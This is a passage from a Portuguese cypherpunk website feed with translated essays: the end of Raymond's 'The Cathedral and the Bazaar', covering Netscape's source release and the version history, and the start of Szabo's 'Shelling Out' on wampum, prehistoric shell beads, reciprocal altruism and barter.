&lt;p>Estes documentos estão disponíveis na Web em &lt;a href="http://www.agorics.com/agorpapers.html" target="_blank" rel="noopener noreferrer">http://www.agorics.com/agorpapers.html&lt;/a>
&lt;/p>
&lt;h1 id="13--epílogo-netscape-acata-o-bazar">13. Epílogo: Netscape acata o Bazar!&lt;/h1>
&lt;p>É um sentimento estranho perceber que você está ajudando a fazer história&amp;hellip;&lt;/p>
&lt;p>Em 22 de Janeiro de 1998, aproximadamente sete meses depois que eu publiquei pela primeira vez este documento, Netscape Communications, Inc. anunciou planos para liberar o código do Netscape Communicator. Eu não tive nenhuma idéia de que isso poderia acontecer até o dia do anunciamento.&lt;/p>
&lt;p>Eric Hahn, Vice Presidente Executivo e Oficial Chefe de Tecnologia da Netscape, enviou uma mensagem para mim pouco tempo depois como se segue: &amp;ldquo;Em nome de todos da Netscape, eu quero agradecer a você por ter nos ajudado chegar a este ponto em primeiro lugar. Seus pensamentos e escritos foram inspirações fundamentais para nossa decisão.&amp;rdquo;&lt;/p>
&lt;p>Na semana seguinte eu voei até Silicon Valley a pedido da Netscape para uma conferência estratégica de um dia (em 4 de Fevereiro de 1998) com alguns de seus executivos de alto escalão e técnicos. Nós desenhamos juntos a estratégia de lançamento da Netscape para o código fonte e licenciamento, e deixamos mais alguns planos que nós esperamos irá eventualmente ter impactos mais abrangentes e positivos na comunidade do código aberto. Enquanto escrevo, ainda é um pouco cedo demais para ser mais específico; porém detalhes devem se tornar conhecidos em semanas.&lt;/p>
&lt;p>Netscape está para nos fornecer um real teste em larga escala do modelo bazar no mundo comercial. A cultura do código aberto agora enfrenta um risco; se os planos da Netscape não funcionarem, o conceito de código aberto pode se tornar tão desacreditado que o mundo comercial não irá tocar nele de novo por uma década.&lt;/p>
&lt;p>Por outro lado, isto também é uma oportunidade espetacular. Reações iniciais ao movimento em Wall Street e em outros lugares foram cautelosamente positivas. Nós também estamos tendo a chance para nos provar. Se a Netscape retomar uma substancial fatia do mercado através deste movimento, ela poderá iniciar uma revolução tardia na indústria de software.&lt;/p>
&lt;p>O próximo ano deverá ser muito instrutivo e interessante.&lt;/p>
&lt;h1 id="14--versão-e-histórico-de-mudanças">14. Versão e Histórico de Mudanças&lt;/h1>
&lt;p>Eu liberei a versão 1.16 no Linux Kongress, em 21 de Maio de 1997. Eu adicionei a bibliografia em 7 de Julho de 1997 na versão 1.20. Eu adicionei a anedota da Perl Conference em 18 de Novembro de 1997 na versão 1.27. Eu mudei de &lt;code>software livre&amp;quot; para &lt;/code>código aberto&amp;rdquo; em 9 de fevereiro de 1998 na versão 1.29. Eu adicionei ``Epílogo: Netscape Acata o Bazar!&amp;rdquo; em 10 de Fevereiro de 1998 na versão 1.31. Eu removi o gráfico de Paul Eggert sobre GPL vs. bazar em resposta aos argumentos coerentes de RMS em 28 de Julho de 1998. Eu adicionei uma correção de Brooks baseado nos Documentos Halloween em 20 de Novembro de 1998 na versão 1.40. Outros níveis de revisões incorporaram pequenas correções editoriais.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="http://www.catb.org/~esr/writings/cathedral-bazaar/" target="_blank" rel="noopener noreferrer">http://www.catb.org/~esr/writings/cathedral-bazaar/&lt;/a>
&lt;/p></content:encoded></item><item><title>Shelling Out: As Origens do Dinheiro</title><link>https://cypherpunks.com.br/documentos/shelling-out-origens-dinheiro/</link><pubDate>Tue, 01 Jan 2002 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/shelling-out-origens-dinheiro/</guid><description>Os precursores do dinheiro, juntamente com a linguagem, permitiram os primeiros humanos modernos resolverem problemas de cooperação que outros animais não podem – incluindo problemas de altruísmo recíproco, altruísmo familiar, e a mitigação de agressão. Esses precursores compartilhavam com as moedas não fiduciárias características muito …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Deephi, Matheus Bach
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="shelling-out-as-origens-do-dinheiro">Shelling Out: As Origens do Dinheiro&lt;/h1>
&lt;h2 id="nick-szabo">Nick Szabo&lt;/h2>
&lt;h4 id="publicado-originalmente-em-2002">Publicado originalmente em 2002&lt;/h4>
&lt;h2 id="resumo">Resumo&lt;/h2>
&lt;p>&lt;/p>
&lt;p>Os precursores do dinheiro, juntamente com a linguagem, permitiram os primeiros humanos modernos resolverem problemas de cooperação que outros animais não podem – incluindo problemas de altruísmo recíproco, altruísmo familiar, e a mitigação de agressão. Esses precursores compartilhavam com as moedas não fiduciárias características muito específicas – não eram meramente objetos simbólicos ou decorativos.&lt;/p>
&lt;h2 id="índice">Índice&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#money">Dinheiro&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#collectibles">Colecionáveis&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#evolution-cooperation-and-collectibles">volução, Cooperação, e Colecionáveis&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#gains-from-wealth-transfers">anhos de Transferência de Riqueza&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#starvation-insurance">Seguro contra a fome&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#kin-altruism-beyond-the-grave">Altruísmo Familiar Além do Túmulo&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#the-family-trade">O Comércio Familiar&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#the-spoils-of-war">Despojos de Guerra&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#disputes-and-remedies">Disputas e Reparações&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#attributes-of-collectibles">Atributos dos Colecionáveis&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#conclusion">Conclusão&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#references">Referências&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#acknowledgements">Agradecimentos&lt;/a>
&lt;/li>
&lt;/ul>
&lt;h2 id="dinheiro">Dinheiro&lt;/h2>
&lt;p>Desde o primeiro momento, as colônias Inglesas do século 17 na América tinham um problema – uma escassez de moedas&lt;!-- raw HTML omitted -->&lt;a href="#fnD94">[D94]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;a href="#fnT01">[T01]&lt;/a>
&lt;!-- raw HTML omitted --> A ideia britânica era plantar grandes quantidades de tabaco, cortar madeiras para os navios da sua marinha global e mercante, e assim por diante, enviando em contrapartida os suprimentos que eles achavam que seriam necessários para manter os Americanos trabalhando. Na verdade, os primeiros colonos trabalhavam na mesma companhia da qual compravam seus suprimentos. Os investidores e a Coroa preferiam muito mais isso à pagar em moedas o que o fazendeiro pudesse pedir, deixando os produtores comprarem por si seus suprimentos – e, Deus me livre, manter um pouco como lucro também.&lt;/p>
&lt;p>A solução para os colonos estava às mãos, mas levaram alguns anos para reconhecê-la. Os nativos tinham dinheiro, mas era uma forma bem diferente do dinheiro que os Europeus estavam acostumados. Índios Americanos estavam usando dinheiro por milênios, e dinheiro que se tornou muito útil aos Europeus recém-chegados – apesar do preconceito de alguns que achavam que somente metal com o rosto de seus líderes políticos estampado que constitui dinheiro de verdade. Pior, os nativos de New England não usavam nem ouro nem prata. Em vez disso, usavam o dinheiro mais apropriado que pode ser encontrado no meio ambiente – partes de esqueleto duráveis de suas presas. Especificamente, eles usavam wampum, conchas do molusco venus mercenaria e seus semelhantes, amarrados como pingentes em um colar.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/Wampum.jpg" loading="lazy"
width="239" height="379"
/>
&lt;em>Colar de wampum. Durante o comércio, as miçangas eram contadas, removidas, e remontadas em novos colares. As contas de concha dos Nativo-americanos eram também tecidas em cintos ou outros dispositivos cerimoniais e mnemônicos que demonstravam a riqueza e o comprometimento de uma tribo à um tratado.&lt;/em>&lt;/p>
&lt;p>Mexilhões, são encontrados apenas no oceano, porém wampum foi comercializada bem no interior. Dinheiro de concha marítima de uma variedade de tipos podia ser encontrado em tribos por todo continente Americano. Os Iroqueses3 conseguiram coletar o maior tesouro de wampum de qualquer tribo, sem nunca ter se aventurado em qualquer lugar perto do habitat do molusco.&lt;!-- raw HTML omitted -->&lt;a href="#fnD94">[D94]&lt;/a>
&lt;!-- raw HTML omitted --> Apenas algumas tribos, como os Narragansett, especializaram-se em manufaturar wampum, enquanto que centenas de outras tribos, muitas de caçadores/coletores, o usavam. Colares de wampum vinham em uma variedade de tamanhos, com o número de contas proporcional ao tamanho. As contas poderiam ser cortadas ou juntadas para formar um colar de tamanho igual ao preço pago.&lt;/p>
&lt;p>Depois de superado o desconforto sobre o que constitui dinheiro de verdade, os colonos começaram a comercializar selvagemente wampum. A palavra “clams” (mexilhões, amêijoas) entrou no vernáculo Americano como uma outra maneira de dizer “dinheiro”. O governador Holandês de Nova Amsterdã (hoje Nova Iorque) tomou um grande empréstimo de um banco Anglo-Americano – em wampum. Depois de um tempo as autoridade Britânicas foram forçadas a acompanhar. Então, entre 1637 e 1661, o wampum se tornou moeda legal na Nova Inglaterra. Os colonos agora tinham um meio de troca líquido, e o comércio floresceu nas colônias.&lt;!-- raw HTML omitted -->&lt;a href="#fnD94">[D94]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>O começo do fim do wampum chegou quando os Ingleses começaram a enviar mais moedas às Américas, e os Europeus começaram a aplicar suas técnicas de produção em massa. Por volta de 1661, as autoridades Britânicas jogaram a toalha, e decidiram pagar em moedas do reino – sendo elas em ouro e prata legítimos, e sua cunhagem auditada e marcada pela Coroa, tinham ainda melhor qualidades monetárias que conchas. Naquele ano o wampum deixou de ser moeda legal na Nova Inglaterra. Em 1710 se tornou moeda legal brevemente na Carolina do Norte. Continuou a ser usada como meio de troca, em alguns casos até no século 20 – porém seu valor foi inflado por cem vezes pelas técnicas de coleta e manufatura ocidentais, e gradualmente tomou o mesmo rumo que as jóias de ouro e prata tomaram no Ocidente depois da invenção da cunhagem de moedas – do dinheiro bem trabalhado, para a decoração. A linguagem Americana do dinheiro de conchas se tornou um remanescente pitoresco – “a hundred clams” (cem conchas) se tornou “a hundred dollars” (cem dólares). “Shelling out” se tornou pagar em moedas ou notas, e eventualmente em cheque ou cartão.&lt;!-- raw HTML omitted -->&lt;a href="#fnD94">[D94]&lt;/a>
&lt;!-- raw HTML omitted --> Nem imaginávamos que havíamos tocado nas próprias origens da nossa espécie.&lt;/p>
&lt;h2 id="colecionáveis">Colecionáveis&lt;/h2>
&lt;p>O dinheiro nativo americano teve várias formas além de conchas. Peles, dentes, e uma variedade de outros objetos com propriedades que discutiremos abaixo também eram comumente usadas como meio de trocas. 12.000 anos atrás, onde hoje é o estado de Washington, o povo Clovis desenvolveu lâminas de sílex maravilhosamente longas. O único problema – elas quebram com muita facilidade. Eram inúteis para cortar. As pederneiras estavam sendo feitas por “bel prazer” – ou pra algum outro propósito que não tinha nada a ver com cortar.&lt;!-- raw HTML omitted -->&lt;a href="#fnG01">[G01]&lt;/a>
&lt;!-- raw HTML omitted --> Como veremos, essa aparente frivolidade era, muito provavelmente, de fato muito importante para sua sobrevivência.&lt;/p>
&lt;p>Os nativos americanos não tinham, no entanto, sido os primeiros a fazer lâminas artísticas4 porém inúteis, e também não inventaram dinheiro de concha. Nem os Europeus aliás, embora eles também tivessem, em eras passadas, usado conchas e dentes amplamente como dinheiro – para não mencionar gado, ouro, prata, armas, e muito mais. Os asiáticos usaram tudo aquilo e faux axes5 emitidos por governos além disso, mas eles também importaram essa instituição. Pois arqueólogos encontraram pingentes de conchas datando do início do Paleolítico que poderiam facilmente ter substituído o dinheiro Nativo Americano.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="blombosbeads2" src="https://cypherpunks.com.br/stuff/blombosbeads2.gif" loading="lazy"
width="580" height="65"
/>
&lt;em>Contas feitas por conchas da lesma Nassarius kraussianus do tamanho de uma ervilha, que viviam num estuário próximo. Blombos Cave, África do Sul, 75,000 A.P.&lt;!-- raw HTML omitted -->&lt;a href="#fnB04">[B04]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/em>&lt;/p>
&lt;p>No final dos anos 90 o arqueólogo Stanley Ambrose descobriu, em um abrigo de pedra no Vale Rift do Quênia, um cachê6 contendo contas feitas de casca de ovo de avestruz, lacunas vazias, e fragmentos de conchas. Elas são datadas usando a relação argônio-argônio (40Ar/39Ar) de pelo menos 40.000 anos de idade&lt;!-- raw HTML omitted -->&lt;a href="#fnA98">[A98]&lt;/a>
&lt;!-- raw HTML omitted -->. Dentes furados de animais foram encontrados na Espanha também datando desse período.&lt;!-- raw HTML omitted -->&lt;a href="#fnW95">[W95]&lt;/a>
&lt;!-- raw HTML omitted --> Conchas perfuradas também tem sido recuperadas de sítios do início do Paleolítico no Líbano[G95]. Recentemente, conchas comuns, preparadas em cordões de contas e ainda mais antigas, de 75.000 AP, foram encontradas em Blombos Cave, na África do Sul.&lt;!-- raw HTML omitted -->&lt;a href="#fnB04">[B04]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="beads" src="https://cypherpunks.com.br/stuff/beads.jpg" loading="lazy"
width="335" height="109"
/>
&lt;em>Contas de ovos de Avestruz, Rift Valley - Quênia, 40,000 A.P. (Cortesia Stanley Ambrose)&lt;/em>&lt;/p>
&lt;p>Nossas subespécies modernas haviam imigrado para a Europa e colares de conchas e dentes apareceram lá, de 40.000 A.P. em diante. Pingentes de conchas e dentes apareceram na Austrália de 30.000 A.P em diante&lt;!-- raw HTML omitted -->&lt;a href="#fnM93">[M93]&lt;/a>
&lt;!-- raw HTML omitted -->. Em todos os casos, o trabalho é altamente habilidoso, indicando uma prática que provavelmente data de muito mais tempo atrás. A origem de colecionar e decorar é muito possivelmente a África, a pátria originária de todas as subespécies anatomicamente modernas. Colecionar e fazer colares deve ter tido um importante benefício de seleção, uma vez que era custoso – a manufatura dessas conchas exigia tanto habilidade quanto tempo durante uma era em que os humanos viviam constantemente à beira da fome&lt;!-- raw HTML omitted -->&lt;a href="#fnC94">[C94]&lt;/a>
&lt;!-- raw HTML omitted -->.&lt;/p>
&lt;p>Praticamente todas culturas humanas, até aquelas que não se envolvem em nenhum comércio substancial ou que usam formas mais modernas de dinheiro, fazem e apreciam joias, e valorizam certos objetos mais por suas qualidades herdadas ou artísticas do que por sua utilidade. Nós humanos colecionamos colares de conchas e outros tipo de jóias – por bel prazer. Para os psicólogos evolucionistas uma explicação que humanos pelo “bel prazer” é, de fato, explicação nenhuma – mas o posicionamento de um problema. Por que tantas pessoas acham a coleção e o uso de jóias agradável? Para o psicólogo evolucionista, a questão se torna – o que causou esse prazer a evoluir?&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="beadsdetail" src="https://cypherpunks.com.br/stuff/beadsdetail.jpg" loading="lazy"
width="400" height="168"
/>
&lt;em>Detalhes de colar de um sepultamento em Sungir, Rússia, 28.000 AP. Contas interligadas e intercambiáveis. Cada conta de marfim de Mamute pode ter exigido uma ou duas horas de trabalho para manufaturar.&lt;!-- raw HTML omitted -->&lt;a href="#fnW97">[W97]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/em>&lt;/p>
&lt;h2 id="evolução-cooperação-e-colecionáveis">Evolução, Cooperação, e Colecionáveis&lt;/h2>
&lt;p>A psicologia evolucionista começa com uma descoberta matemática chave de John Maynard Smith&lt;!-- raw HTML omitted -->&lt;a href="#fnD89">[D89]&lt;/a>
&lt;!-- raw HTML omitted -->. Usando modelos de populações de genes coevolutivos, de uma área bem desenvolvida da genética populacional, Smith postulou genes que podem codificar para estratégias, boas ou más, usadas em problemas estratégicos simples (os “jogos” da teoria dos jogos). Smith provou que esses genes, competindo para se propagarem para as gerações futuras, desenvolverão estratégias que estão no &lt;a href="http://web.archive.org/web/20021028220635/http://www.chass.utoronto.ca/~osborne/2x3/tutorial/SGAME.HTM" target="_blank" rel="noopener noreferrer">Equilíbrio de Nash&lt;/a>
para os problemas estratégicos apresentados pela competição. Esses jogos incluem o &lt;a href="http://www.chass.utoronto.ca/~osborne/2x3/tutorial/SGAME.HTM" target="_blank" rel="noopener noreferrer">dilema do prisioneiro&lt;/a>
, um problema prototípico de cooperação, e &lt;a href="http://web.archive.org/web/20020828234922/http://www.ucl.ac.uk/~ucbhdjm/courses/b242/Tuts/Tut2-02.html" target="_blank" rel="noopener noreferrer">hawk/dove&lt;/a>
, um problema prototípico de agressão e sua mitigação.&lt;/p>
&lt;p>É crítico para a teoria de Smith que esses jogos estratégicos, enquanto esgotados1 entre fenótipos aproximados, são de fato jogos entres genes no último nível – o nível de competição a ser propagada. Os genes – não necessariamente os indivíduos – influenciam o comportamento como se fossem limitadamente racionais (codificando para estratégias tão ótimas quanto possíveis, dentro dos limites do que os fenótipos podem expressar dadas as matérias-primas e história evolutiva anterior) e “egoístas” (para usar a metáfora de Richard Dawkins). Influências genéticas no comportamento são adaptações para os problemas sociais apresentado pelos genes competindo através de seus fenótipos. Smith chamou esses Equilíbrios de Nash evoluídos de &lt;a href="http://www.ucl.ac.uk/~ucbhdjm/courses/b242/Tuts/Tut2-02.html" target="_blank" rel="noopener noreferrer">estratégias evolucionárias estáveis&lt;/a>
.&lt;/p>
&lt;p>Os “epiciclos” construídos sobre a teoria da seleção individual anterior, como seleção sexual e seleção de parentesco, desaparecem dentro desse modelo mais genérico em que, de uma maneira Copérnica, coloca os genes ao invés dos indivíduos no centro da teoria. Por isso, a metafórica e geralmente incompreendida expressão de Dawkins, “gene egoísta”, para descrever a teoria de Smith.&lt;/p>
&lt;p>Poucas outras espécies cooperaram como os humanos Paleolíticos. Em alguns casos – cuidado das crias, as colônias de formigas, cupins, e abelhas, e assim por diante, animais cooperam porque são parentes – porque podem ajudar cópias dos seus “genes egoístas” encontrados nos seus semelhantes. Em alguns casos altamente restritos, existe também cooperação entre não-semelhantes, o que os psicólogos evolucionistas chamam de altruísmo recíproco. Como descreve Dawkins[D89], a menos que uma troca de favores seja simultânea (algumas vezes até assim), uma parte ou outra pode trapacear. E geralmente o fazem. Esse é o resultado típico de um jogo que os teóricos chamam de O Dilema do Prisioneiro – se ambas partes cooperarem, as duas se saem melhores, porém se uma trapaceia, ela ganha às expensas do otário. Em uma população de trapaceiros e otários, os trapaceiros sempre ganham. No entanto, algumas vezes os animais passam a cooperar através de interações repetidas e uma estratégia chamada Tit-for-Tat (‘olho-por-olho’, ‘na mesma moeda’): comece cooperando e permaneça cooperando até que a outra parte trapaceie – daí abandone. Essa ameaça de retaliação motiva a cooperação continuada.&lt;/p>
&lt;p>As situações onde tal cooperação de fato ocorre no mundo animal são altamente restritas. A limitação principal é que tal cooperação é restrita a relacionamentos onde pelo menos um dos participantes é mais ou menos forçado a estar nas proximidades do outro. O caso mais comum é quando parasitas, e hospedeiros cujos corpos eles compartilham, evoluem para simbiontes. Se os interesses dos parasita e do hospedeiro coincidem, de forma que os dois trabalhando conjuntamente seriam mais aptos do que sozinhos, (por exemplo o parasita está também fornecendo algum benefício ao hospedeiro), então, se eles conseguem jogar um jogo bem sucedido de Tit-for-Tat, eles evoluirão em simbiose – um estado onde seus interesses, e especialmente os mecanismos de saída dos genes de uma geração para a próxima, coincidem. Eles se tornam como um organismo só. Todavia, há muito mais do que cooperação acontecendo aqui – há também exploração. Elas ocorrem simultaneamente. A situação é análoga a uma instituição que os humanos teriam desenvolvido – o tributo – que analisaremos abaixo.&lt;/p>
&lt;p>Alguns casos muito especiais ocorrem sem envolver parasitas e hospedeiros compartilhando o mesmo corpo e evoluindo em simbiose. Em vez disso, eles envolvem animais sem parentesco e território altamente limitado. Um exemplo proeminente que Dawkins descreve são os peixe-limpadores. Esses peixes nadam dentro e fora das bocas de seus hospedeiros, se alimentando das bactérias ali, beneficiando o peixe hospedeiro. O peixe hospedeiro poderia trapacear – ele poderia esperar o peixe-limpador terminar seu trabalho, e então comê-lo. Mas eles não o fazem. Uma vez que ambos são móveis, eles são ambos potencialmente livres para sair da relação. Porém, o peixe-limpador desenvolveu um senso muito forte de territorialidade individual, e têm listras e danças que são difíceis de imitar1 – como um logotipo de marca difícil de forjar. Então o peixe hospedeiro sabe onde ir para ser limpo – e sabem que se trapacearem, eles terão de começar de novo com um peixe-limpador novo e desconfiado. Os custos de entrada, e deste modo também os custos de saída, de uma relação são altos, de maneira que funciona sem trapaça. Ademais, os peixes-limpadores são bem pequenos, então os benefícios de os comer não são grandes comparados a um número pequeno ou até uma única limpeza.&lt;/p>
&lt;p>Um dos exemplos mais pertinentes é o morcego-vampiro. Como o nome sugere, são animais que sugam o sangue de presas mamíferas. O interessante é que, em uma noite boa, eles trazem um excedente; em uma noite ruim, nada. Seus negócios sombrios são altamente imprevisíveis. Como resultado, os morcegos sortudos (ou habilidosos) frequentemente compartilham sangue com os morcegos menos sortudos (ou habilidosos) em sua caverna. Eles vomitam o sangue e o grato beneficiário come.&lt;/p>
&lt;p>A vasta maioria desses beneficiários são familiares. De 110 dessas regurgitações testemunhadas pelo biólogo de estômago forte G.S. Wilkinson, 77 eram casos de mães alimentando suas crianças, e a maioria dos outros casos também envolviam parentesco genético. Havia, porém, um pequeno número que não poderia ser explicado por altruísmo familiar. Para demonstrar que esses eram casos de altruísmo recíproco, Wilkinson combinou as populações de morcegos de dois grupos diferentes. Os morcegos, com raras exceções, alimentavam somente amigos antigos do grupo original.&lt;!-- raw HTML omitted -->&lt;a href="#fnD89">[D89]&lt;/a>
&lt;!-- raw HTML omitted --> Tal cooperação requer a construção de uma relação de longo prazo, ondes os parceiros interagem frequentemente, reconhecem um ao outro, e acompanham o comportamento uns dos outros. A caverna de morcegos ajuda a restringi-los a uma relação de longo prazo onde tais ligações podem se formar.&lt;/p>
&lt;p>Veremos que alguns humanos, também, escolheram presas arriscadas e descontínuas, e compartilharam o excedente resultante com não-familiares. Na verdade, eles realizaram isso em uma extensão muito maior do que o morcego vampiro. Como o fizeram é o assunto principal de nosso artigo1. Dawkins sugere, “dinheiro é um token formal de altruísmo recíproco atrasado”, mas não persegue essa ideia fascinante mais além. Nós iremos.&lt;/p>
&lt;p>Dentre pequenos grupos de humanos, a reputação pública pode tomar o lugar da retaliação por um único indivíduo para motivar a cooperação na reciprocidade atrasada. No entanto, crenças de reputação podem sofrer de dois tipos principais de erros – erros sobre qual pessoa fez o que, e erros na avaliação dos valores ou danos causados por aquele ato.&lt;/p>
&lt;p>A necessidade de lembrar rostos e favores é um enorme obstáculo cognitivo, mas um que a maioria dos humanos considera relativamente fácil de superar. Reconhecer rostos é fácil, mas lembrar que um favor ocorreu quando tal memória precisa ser relembrada pode ser mais difícil. Lembrar dos detalhes a respeito de um favor que concedeu certo valor ao favorecido é mais difícil ainda. Evitar disputas e desentendimentos pode ser improvável ou proibitivamente difícil.&lt;/p>
&lt;p>O problema de reconhecimento ou &lt;a href="http://szabo.best.vwh.net/measuringvalue.html" target="_blank" rel="noopener noreferrer">medida de valor&lt;/a>
é bastante amplo. Para humanos ele aparece em qualquer sistema de troca – reciprocidade de favores, escambo, dinheiro, crédito, emprego, ou compra em um mercado. É importante na extorsão, taxação, tributação, e na fixação de sanções judiciais. É importante até no altruísmo recíproco nos animais. Consideres macacos trocando favores – vamos dizer pedaços de fruta por coçadas nas costas. A catação1 mútua pode remover carrapatos e pulgas que um indivíduo não consegue ver ou alcançar. Mas quanta catação versus quantos pedaços de fruta constituem uma reciprocidade que as duas partes considerem “justa”, ou em outras palavras uma não deserção? Vinte minutos de coçar as costas valem um pedaço de fruta ou dois? E quão grande o pedaço?&lt;/p>
&lt;p>Até o simples caso de trocar sangue por sangue é mais complicado do que parece. Como os morcegos estimam o valor do sangue que eles recebem? Estimam o valor por peso, por carga, por gosto, pela habilidade de saciar a fome, ou outras variáveis? Da mesma forma, complicações de medição surgem até na simples troca de “você coça minhas costas e eu coço as suas” de macaco.&lt;/p>
&lt;p>Para a vasta maioria das trocas em potencial, o problema de medição é intratável para animais. Ainda mais do que o problema mais fácil de lembrar rostos e os atribuir a favores, a habilidade das duas partes de concordar com precisão suficiente numa estimativa de valor de um favor é, primeiramente, a principal barreira ao altruísmo recíproco entre animais.&lt;/p>
&lt;p>Apenas o kit de ferramentas de pedras de um homem do início do Paleolítico que tenha sobrevivido para encontrarmos era de algum modo muito complicado para os cérebros do tamanho do nosso. Acompanhar os favores envolvendo eles – quem produzia qual qualidade de ferramenta para quem, e por consequência quem devia quem, e assim por diante – teria sido difícil demais fora dos limites do clã. Adicionado a isso, provavelmente, uma grande variedade de objetos orgânicos, serviços efêmeros (como a catação), e assim por diante que não sobreviveram. Depois de mesmo uma pequena fração desses bens terem sido transferidos e serviços performados, nosso cérebro, tão inflados quanto sejam, não conseguiria acompanhar quem deve o que pra quem. Hoje frequentemente nós escrevemos essas coisas – mas o homem Paleolítico não tinha a escrita. Se ocorreu cooperação entre clãs e até tribos, como o registro arqueológico indica que de fato ocorreu, o problema se torna muito pior, uma vez que tribos caçadoras-coletoras eram geralmente antagônicas e mutuamente desconfiadas.&lt;/p>
&lt;p>Se conchas1 podem ser dinheiro, pele pode ser dinheiro, ouro pode ser dinheiro e assim por diante – se dinheiro não é somente moedas ou notas emitidas por um governo sob a legislação aplicável, mas ao invés disso pode ser uma variedade de objetos – então o que afinal de contas é o dinheiro? E por que os humanos, frequentemente vivendo à beira da fome, gastam tanto tempo fazendo e apreciando esses colares quando poderiam estar coletando e caçando mais? O economista do século 19 Carl Menger&lt;!-- raw HTML omitted -->&lt;a href="#fnM1892">[M1892]&lt;/a>
&lt;!-- raw HTML omitted --> descreveu inicialmente como o dinheiro evolui natural e inevitavelmente de um volume suficiente de troca(escambo) de commodities. Em termos da economia moderna a história é similar à de Menger.&lt;/p>
&lt;p>Escambo requer uma coincidência de interesses. Alice produz nozes e quer algumas maçãs; Bob produz maçãs e quer algumas nozes. Acontece de seus pomares estarem próximos , e Alice confia em Bob o suficiente para esperar o tempo entre a colheita de nozes e a de maçã. Assumindo que todas essas condições sejam atendidas, o escambo funciona muito bem. Mas se Alice estivesse produzindo laranjas, mesmo se Bob quisesse laranjas bem como nozes, eles estariam sem sorte – laranjas e nozes não crescem bem no mesmo clima. Se Alice e Bob não confiassem um no outro, e não pudessem encontrar uma terceira parte para ser intermediário&lt;!-- raw HTML omitted -->&lt;a href="#fnL94">[L94]&lt;/a>
&lt;!-- raw HTML omitted --> ou fazer um cumprir um contrato, eles também estariam sem sorte.&lt;/p>
&lt;p>Outras complicações podem surgir. Alice e Bob não podem articular completamente uma promessa de venda futura de nozes ou maçãs, porque entre outras possibilidades, Alice poderia ficar com as melhores nozes para si mesma (e Bob com as melhores maçãs), dando ao outro as escórias. Comparando as qualidades assim como as quantidades de dois tipos diferentes de bens é ainda mais difícil quando o estado de um dos bens é apenas uma memória. Além disso, nenhum dos dois pode antecipar eventos como uma colheita ruim. Essas complicações aumentam o problema de Alice e Bob decidirem enquanto separados se o altruísmo recíproco tem sido realmente recíproco. Esses tipos de complicações aumentam conforme quão maior o intervalo de tempo e quanta incerteza entre a transação original e a recíproca.&lt;/p>
&lt;p>Um problema relacionado é que, como diriam os engenheiros, escambo “não é escalável”. Escambo funciona bem em poucos volumes mas se torna cada vez mais caro em grandes volumes, até que se torna caro demais para valer a pena. Se existem &lt;strong>n&lt;/strong> bens e serviços para troca, um mercado de escambo requer &lt;strong>n&lt;!-- raw HTML omitted -->2&lt;!-- raw HTML omitted -->&lt;/strong> preços. Cinco produtos requerem vinte e cinco preços, o que não seria tão ruim, mas 500 produtos requerem 250.000 preços, que vai muito além do que é prático pra um pessoa acompanhar. Com dinheiro, só existem &lt;strong>n&lt;/strong> preços – 500 produtos, 500 preços. O dinheiro, com esse propósito, pode trabalhar tanto como um meio de troca ou simplesmente como um padrão de valor – contanto que o número de preços em dinheiro não cresça demais pra memorizar ou mude com muita frequência. (O último problema, juntamente com um “contrato” de seguro implícito, juntamente com a falta de um mercado competitivo podem explicar porque os preços eram geralmente determinados por um costume evoluído de longo tempo e não por negociação aproximada).&lt;/p>
&lt;p>O escambo requer, em outras palavras, coincidências de demandas ou habilidades, preferências, tempo, e baixo custo de transferência. Seus custos aumentam muito mais rapidamente do que o crescimento no número de bens trocados. O escambo certamente funciona muito melhor do que nenhuma troca em absoluto, e tem sido amplamente praticado. Mas é bastante limitado comparado a trocar com dinheiro.&lt;/p>
&lt;p>O dinheiro primitivo existia muito antes das redes de comércio de grande escala. O dinheiro teve um uso ainda anterior e muito mais importante. O dinheiro melhorou muito o funcionamento até de pequenas redes de troca ao reduzir drasticamente a necessidade de crédito. A coincidência simultânea de preferências era muito mais rara do que a coincidência através de longos períodos de tempo. Com dinheiro Alice poderia coletar para Bob durante o amadurecimento dos mirtilos este mês, e Bob caçar para Alice durante a migração dos rebanhos de mamute seis meses depois, sem precisar ter que recordar quem deve o quê para quem, ou confiar na honestidade ou memória do outro. O investimento de uma mãe na educação infantil poderia ser assegurado por presentes de valores inforjáveis. O dinheiro converte o problema de divisão do trabalho de um dilema de prisioneiro para uma simples troca.&lt;/p>
